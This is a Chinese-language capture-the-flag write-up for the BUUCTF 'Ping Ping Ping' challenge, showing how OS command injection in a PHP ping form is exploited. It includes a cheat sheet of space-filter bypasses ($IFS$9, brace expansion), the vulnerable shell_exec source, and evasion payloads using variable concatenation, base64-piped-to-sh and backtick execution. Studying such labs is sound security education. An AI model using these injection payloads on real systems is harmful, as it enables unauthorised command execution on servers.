BUUCTF WEB [GXYCTF2019]Ping Ping Ping
进入题目后根据提示提交?ip=127.0.0.1
尝试
回显
PING 127.0.0.1 (127.0.0.1): 56 data bytes
判断存在命令执行漏洞,尝试提交?ip=127.0.0.1;ls
回显
PING 127.0.0.1 (127.0.0.1): 56 data bytes flag.php index.php
尝试访问index.php?ip=127.0.0.1;cat index.php
回显
fxck your space!
,说明空格存在过滤,尝试使用$IFS
进行绕过空格绕过的技巧
Linux
{cat,flag.txt} cat${IFS}flag.txt cat$IFS$9flag.txt cat<flag.txt cat<>flag.txt kg=$'\x20flag.txt'&&cat$kg (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
Windows
type.\flag.txt type,flag.txt echo,123456
这里发现
{
、<
、%
等符号就被禁用,只有$IFS$9
可以使用若单独使用
$IFS
会被理解为解析没有结束,将后面的字符也当做参数解析。若配合$IFS$9
使用,在$IFS
后加上了一个不存在的变量,解析为空,从而结束解析,正常执行$IFS
后面的内容
读index.php
执行命令?ip=127.0.0.1;cat$IFS$9index.php
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
绕过过滤读取flag.php
-
变量拼接字符串绕过
b=ag.php;a=fl;cat$IFS$9$a$b //为什么要反过来?flag匹配时中间有内容也会被匹配。 //表达式 .* 就是单个字符匹配任意次,即贪婪匹配。以这个表达式为例:a.*b,它将会匹配最长的以a开始,以b结束的字符串。如果用它来搜索aabab的话,它会匹配整个字符串aabab。这被称为贪婪匹配
-
sh命令执行绕过
base64编码绕过flag过滤
-
加密命令
echo “cat flag.php” | base64
-
解密命令并执行
?ip=127.0.0.1;echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
-
-
内联执行绕过
?ip=127.0.0.1;cat$IFS$9`ls`
得到flag
flag{db07f60d-63b3-4ab7-a14e-fe94a6cab83e}